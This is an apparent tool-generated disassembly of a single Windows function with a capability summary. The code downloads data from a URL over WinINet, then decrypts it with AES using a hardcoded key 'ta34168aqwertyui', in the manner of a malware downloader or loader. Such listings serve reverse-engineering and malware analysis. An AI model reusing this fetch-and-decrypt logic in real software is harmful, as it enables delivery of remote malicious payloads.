Function at 0x10001db0
Capabilities:
Create http request
Encode data using xor
Encrypt data using aes
Read data from internet
Receive data
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x708
mov eax, dword [0x1000a004]
xor eax, esp
mov dword [esp + 0x704], eax
push esi
push edi
push 0
push 0
push 0
push 0
push str.https_connect
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x4000000
push 0
push 0
mov ecx, 0x1000a0c0
mov esi, eax
call fcn.10002860
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
mov dword [esp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x10001e39
push edi
push edi
cmp eax, 0x2efd
jne 0x10001e1e
push 0x1000844c
jmp 0x10001e31
cmp eax, 0x2ee7
jne 0x10001e2c
push 0x10008450
jmp 0x10001e31
push 0x10008454
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x144b4
call fcn.10003905
add esp, 4
mov esi, eax
mov dword [esp + 0x28], esi
push 0x144b0
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esi + 0x144b0], 0
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
push eax
push 0x144b4
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
mov esi, dword [esi + 0x144b0]
push esi
call fcn.10003935
add esp, 4
mov dword [esp + 0x1c], eax
push esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x38]
mov esi, dword [esp + 0x34]
add esp, 0xc
mov byte [eax], 0
push ecx
push dword [esi + 0x144b0]
push eax
push dword [esp + 0x1c]
call edi
movups xmm0, xmmword [0x10008458]
movzx eax, byte [0x10008468]
mov esi, dword [esi + 0x144b0]
mov byte [esp + 0x4f0], al
movzx eax, byte [0x1000847c]
movups xmmword [esp + 0x4e0], xmm0
push 0x208
movups xmm0, xmmword [str.ta34168aqwertyui]
mov byte [esp + 0x44], al
lea eax, [esp + 0x504]
push 0
push eax
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x3c], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x500]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x500]
call fcn.10001900
and esi, 0xfffffff0
push esi
mov dword [esp + 0x24], esi
call fcn.10003935
add esp, 4
mov dword [esp + 0x28], eax
push esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [esp + 0x5c]
lea eax, [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x68], vtable.AES.0
mov byte [esp + 0x6c], 0
mov dword [esp + 0x430], 0x10
mov dword [esp + 0x434], 0x10
push 0x10
movups xmmword [esp + 0x440], xmm0
push eax
lea eax, [esp + 0x464]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [esp + 0x43c]
add esp, 0xc
cmp edi, 0x10
je 0x10001fc3
cmp edi, 0x18
je 0x10001fb4
mov ecx, 0xe
jmp 0x10001fe8
xor ecx, ecx
cmp dword [esp + 0x434], 0x20
sete cl
jmp 0x10001fe1
cmp dword [esp + 0x434], 0x10
jne 0x10001fd4
mov ecx, 0xa
jmp 0x10001fe8
xor ecx, ecx
cmp dword [esp + 0x434], 0x18
setne cl
lea ecx, [ecx*2 + 0xc]
mov eax, dword [esp + 0x434]
xor esi, esi
cdq
and edx, 3
mov dword [esp + 0x438], ecx
add eax, edx
sar eax, 2
mov dword [esp + 0x18], eax
test ecx, ecx
js 0x10002036
lea edx, [esp + 0x70]
nop dword [eax]
test eax, eax
jle 0x10002027
mov ecx, eax
mov edi, edx
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x438]
mov eax, dword [esp + 0x18]
inc esi
add edx, 0x20
cmp esi, ecx
jle 0x10002010
mov edi, dword [esp + 0x430]
xor edx, edx
test ecx, ecx
js 0x10002069
lea esi, [esp + 0x250]
test eax, eax
jle 0x1000205a
mov ecx, eax
mov edi, esi
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x438]
mov eax, dword [esp + 0x18]
inc edx
add esi, 0x20
cmp edx, ecx
jle 0x10002043
mov edi, dword [esp + 0x430]
lea edx, [ecx + 1]
imul edx, eax
mov eax, edi
lea edi, [esp + 0x4e0]
mov dword [esp + 0x14], edx
cdq
and edx, 3
lea esi, [edx + eax]
sar esi, 2
lea eax, [esp + 0x47c]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], eax
test esi, esi
jle 0x1000212b
mov dword [esp + 0x24], esi
movzx esi, byte [edi]
lea edi, [edi + 4]
movzx eax, byte [edi - 3]
shl esi, 8
or esi, eax
movzx eax, byte [edi - 2]
shl esi, 8
or esi, eax
movzx eax, byte [edi - 1]
shl esi, 8
or esi, eax
mov eax, dword [esp + 0xc]
mov dword [eax], esi
add eax, 4
sub dword [esp + 0x24], 1
mov dword [esp + 0xc], eax
jne 0x100020a1
xor edi, edi
nop dword [eax + eax]
cmp edi, dword [esp + 0x14]
jge 0x100022c5
mov eax, edi
mov ecx, dword [esp + edi*4 + 0x47c]
cdq
idiv dword [esp + 0x18]
lea esi, [edx + eax*8]
mov dword [esp + esi*4 + 0x70], ecx
mov ecx, dword [esp + 0x438]
mov esi, dword [esp + 0x10]
sub ecx, eax
mov eax, dword [esp + edi*4 + 0x47c]
inc edi
lea ecx, [edx + ecx*8]
mov dword [esp + ecx*4 + 0x250], eax
cmp edi, esi
jl 0x100020e0
mov ecx, dword [esp + 0x438]
jmp 0x1000212d
xor edi, edi
cmp edi, dword [esp + 0x14]
jge 0x100022cc
mov dword [esp + 0x24], 0x10007bd8
nop
mov edx, dword [esp + esi*4 + 0x478]
mov eax, edx
sar eax, 0x10
movzx eax, al
movsx ecx, byte [eax + 0x10006670]
mov eax, dword [esp + 0x24]
inc dword [esp + 0x24]
movsx eax, byte [eax]
xor ecx, eax
mov eax, edx
sar eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + 0x10006670]
xor ecx, eax
movzx eax, dl
shl ecx, 8
sar edx, 0x18
movzx eax, byte [eax + 0x10006670]
xor ecx, eax
movzx eax, dl
shl ecx, 8
movzx eax, byte [eax + 0x10006670]
xor ecx, eax
xor dword [esp + 0x47c], ecx
mov ecx, 1
cmp esi, 8
je 0x100021e0
cmp esi, ecx
jle 0x100021c8
nop dword [eax]
mov eax, dword [esp + ecx*4 + 0x478]
xor dword [esp + ecx*4 + 0x47c], eax
inc ecx
cmp ecx, esi
jl 0x100021b0
jmp 0x10002264
test esi, esi
jle 0x100022bb
jmp 0x10002264
mov eax, dword [esp + ecx*4 + 0x478]
xor dword [esp + ecx*4 + 0x47c], eax
inc ecx
cmp ecx, 4
jl 0x100021e0
mov ecx, dword [esp + 0x488]
mov eax, ecx
sar eax, 0x18
movzx eax, al
movsx edx, byte [eax + 0x10006670]
mov eax, ecx
sar eax, 0x10
movzx eax, al
shl edx, 8
sar ecx, 8
movzx eax, byte [eax + 0x10006670]
xor edx, eax
movzx eax, cl
shl edx, 8
mov ecx, 5
movzx eax, byte [eax + 0x10006670]
xor edx, eax
movzx eax, byte [esp + 0x488]
shl edx, 8
movzx eax, byte [eax + 0x10006670]
xor edx, eax
xor dword [esp + 0x48c], edx
mov eax, dword [esp + ecx*4 + 0x478]
xor dword [esp + ecx*4 + 0x47c], eax
inc ecx
cmp ecx, 8
jl 0x10002250
xor ecx, ecx
mov dword [esp + 0xc], ecx
nop word [eax + eax]
cmp edi, dword [esp + 0x14]
jge 0x100022c5
mov eax, edi
mov ecx, dword [esp + ecx*4 + 0x47c]
cdq
inc edi
idiv dword [esp + 0x18]
lea esi, [edx + eax*8]
mov dword [esp + esi*4 + 0x70], ecx
mov ecx, dword [esp + 0x438]
mov esi, dword [esp + 0x10]
sub ecx, eax
mov eax, dword [esp + 0xc]
lea ecx, [edx + ecx*8]
mov eax, dword [esp + eax*4 + 0x47c]
mov dword [esp + ecx*4 + 0x250], eax
mov ecx, dword [esp + 0xc]
inc ecx
mov dword [esp + 0xc], ecx
cmp ecx, esi
jl 0x10002270
cmp edi, dword [esp + 0x14]
jl 0x10002140
mov ecx, dword [esp + 0x438]
mov esi, 1
mov dword [esp + 0x10], esi
cmp ecx, esi
jle 0x10002357
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x270]
mov dword [esp + 0xc], edx
test eax, eax
jle 0x10002347
mov esi, edx
mov edi, eax
mov edx, dword [esi]
lea esi, [esi + 4]
mov eax, edx
sar eax, 0x18
movzx ecx, al
mov eax, edx
sar eax, 0x10
movzx eax, al
mov ecx, dword [ecx*4 + 0x10007ff8]
xor ecx, dword [eax*4 + 0x10006770]
mov eax, edx
sar eax, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x10006f70]
movzx eax, dl
xor ecx, dword [eax*4 + 0x10007bf8]
mov dword [esi - 4], ecx
sub edi, 1
jne 0x100022f0
mov ecx, dword [esp + 0x438]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
inc esi
add edx, 0x20
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], edx
cmp esi, ecx
jl 0x100022e8
mov edi, dword [esp + 0x20]
push edi
mov byte [esp + 0x70], 1
call fcn.10003935
add esp, 4
mov esi, eax
mov dword [esp + 0x10], esi
push edi
push 0
push esi
call sub.VCRUNTIME140.dll_memset
mov eax, edi
mov byte [esi], 0
add esp, 0xc
xor ecx, ecx
lea edi, [eax - 1]
test edi, edi
js 0x100023c2
lea edx, [edi + esi]
mov esi, dword [esp + 0x1c]
mov al, byte [ecx + esi]
lea edx, [edx - 1]
inc ecx
mov byte [edx + 1], al
cmp ecx, edi
jle 0x10002390
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
sub esi, ecx
mov edx, dword [esp + 0x20]
nop dword [eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x100023b0
mov eax, dword [esp + 0x20]
cmp byte [esp + 0x6c], 0
je 0x1000252b
test eax, eax
je 0x1000252b
xor edx, edx
div dword [esp + 0x434]
test edx, edx
jne 0x1000252b
mov edi, dword [esp + 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edi
test eax, eax
je 0x1000252b
nop word [eax + eax]
push edi
push dword [esp + 0x20]
lea ecx, [esp + 0x70]
call fcn.100013c0
cmp byte [esp + 0x6c], 0
lea edx, [esp + 0x45c]
mov eax, edi
mov edi, dword [esp + 0x434]
je 0x100024e5
xor esi, esi
test edi, edi
jle 0x100024e5
cmp edi, 0x40
jb 0x100024c1
mov ecx, dword [esp + 0x14]
dec ecx
add ecx, edi
mov dword [esp + 0xc], ecx
lea ecx, [esp + edi + 0x45b]
cmp dword [esp + 0x14], ecx
ja 0x1000245c
mov ecx, edx
cmp dword [esp + 0xc], ecx
jae 0x100024c1
mov ecx, edi
and ecx, 0x8000003f
jns 0x1000246b
dec ecx
or ecx, 0xffffffc0
inc ecx
mov dword [esp + 0xc], edi
sub dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
movups xmm1, xmmword [eax]
add esi, 0x40
movups xmm0, xmmword [edx]
pxor xmm1, xmm0
movups xmm0, xmmword [edx + 0x10]
movups xmmword [eax], xmm1
movups xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm0
movups xmm0, xmmword [edx + 0x20]
movups xmmword [eax + 0x10], xmm1
movups xmm1, xmmword [eax + 0x20]
pxor xmm1, xmm0
movups xmm0, xmmword [edx + 0x30]
add edx, 0x40
movups xmmword [eax + 0x20], xmm1
movups xmm1, xmmword [eax + 0x30]
pxor xmm1, xmm0
movups xmmword [eax + 0x30], xmm1
add eax, 0x40
cmp esi, ecx
jl 0x10002477
cmp esi, edi
jge 0x100024e5
sub edx, eax
sub edi, esi
nop dword [eax]
mov cl, byte [edx + eax]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub edi, 1
jne 0x100024d0
mov edi, dword [esp + 0x434]
push edi
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x460]
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [esp + 0x440]
xor edx, edx
mov eax, dword [esp + 0x2c]
add edi, esi
div esi
mov ecx, dword [esp + 0x1c]
add esp, 0xc
mov dword [esp + 0x1c], edi
inc ecx
mov edi, dword [esp + 0x14]
add edi, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edi
cmp ecx, eax
jb 0x10002400
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
call fcn.10001bc0
mov ecx, dword [esp + 0x70c]
pop edi
pop esi
xor ecx, esp
call fcn.100038c6
mov esp, ebp
pop ebp
ret